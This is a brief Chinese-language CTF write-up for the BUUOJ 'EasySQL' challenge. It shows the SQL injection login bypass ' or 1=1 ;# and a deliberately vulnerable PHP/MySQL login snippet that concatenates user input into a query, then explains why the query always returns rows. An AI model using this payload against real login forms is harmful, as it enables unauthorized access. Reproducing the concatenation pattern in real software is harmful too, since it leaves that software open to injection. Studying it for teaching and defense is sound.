题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]EasySQL。
打开后,页面如下所示:
可以看到,只有一个登录框,没有其他的内容,一般这种情况,应当先考虑 SQL 注入。
在密码框中直接插入万能密码:' or 1=1 ;#
。
成功获取 flag。
知其然,知其所以然。
一些常见的登陆功能的后端实现代码如下(PHP + MySQL):
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
} else {
echo "Login failed!";
}
?>
倘若以上述代码实现登陆功能,那么就存在 SQL 注入漏洞。
当用户可控的 $_GET['password']
被设置为 ' or 1=1 ;#
($_GET['username']
设置为 admin),那么,$result
就被程序拼接为:SELECT * FROM users WHERE username = 'admin' AND password = '' or 1=1 ;#'
,被用户的恶意输出拼接成的这个 SQL 语句就变成了:SELECT * FROM users WHERE username = 'admin' AND password = '' or 1=1 ;
(MySQL 中,#
为注释符)。
MySQL 在处理这个 SQL 语句时,返回的结果集将永不为空,导致代码:if (mysqli_num_rows($result) > 0)
永远成立,因此登陆机制被绕过。